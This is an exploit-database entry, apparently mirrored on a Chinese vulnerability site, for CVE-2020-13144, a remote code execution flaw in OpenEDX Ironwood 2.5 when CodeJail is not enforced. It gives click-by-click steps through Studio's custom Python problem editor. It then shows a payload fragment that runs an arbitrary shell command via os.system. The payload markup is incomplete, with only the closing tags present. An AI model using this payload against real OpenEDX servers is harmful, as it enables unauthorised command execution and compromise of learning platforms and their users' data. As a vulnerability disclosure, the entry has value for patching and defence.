发布 2020-05-21 漏洞条目

OpenEDX platform Ironwood 2.5 – Remote Code Execution

Exploit Source

# Exploit Title: OpenEDX platform Ironwood 2.5 - Remote Code Execution

# Google Dork: N/A

# Date: 2020-05-20

# Exploit Author: Daniel Monzón (stark0de)

# Vendor Homepage: https://open.edx.org/

# Software Link: https://github.com/edx/edx-platform

# Version: Ironwood 2.5

# Tested on: Debian x64

# CVE : CVE-2020-13144

CVE ID: CVE-2020-13144

OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail (https://github.com/edx/codejail) is not enforced

This is an authenticated vulnerability, so you need to register an account, go to /edx-studio

Then Create New course > New section > New subsection > New unit > Add new component > Problem button > Advanced tab > Custom Python evaluated code

Once here we just need to edit the problem and introduce a payload such as:

def test_add(expect,ans):

import os

os.system("thecommandyouwanttoexecute")

</script>

<p>Problem text</p>

</customresponse>

<p>Solution or Explanation Heading</p>

<p>Solution or explanation text</p>

</div>

</solution>

</problem>

And click Submit, and you will execute commands in the machine

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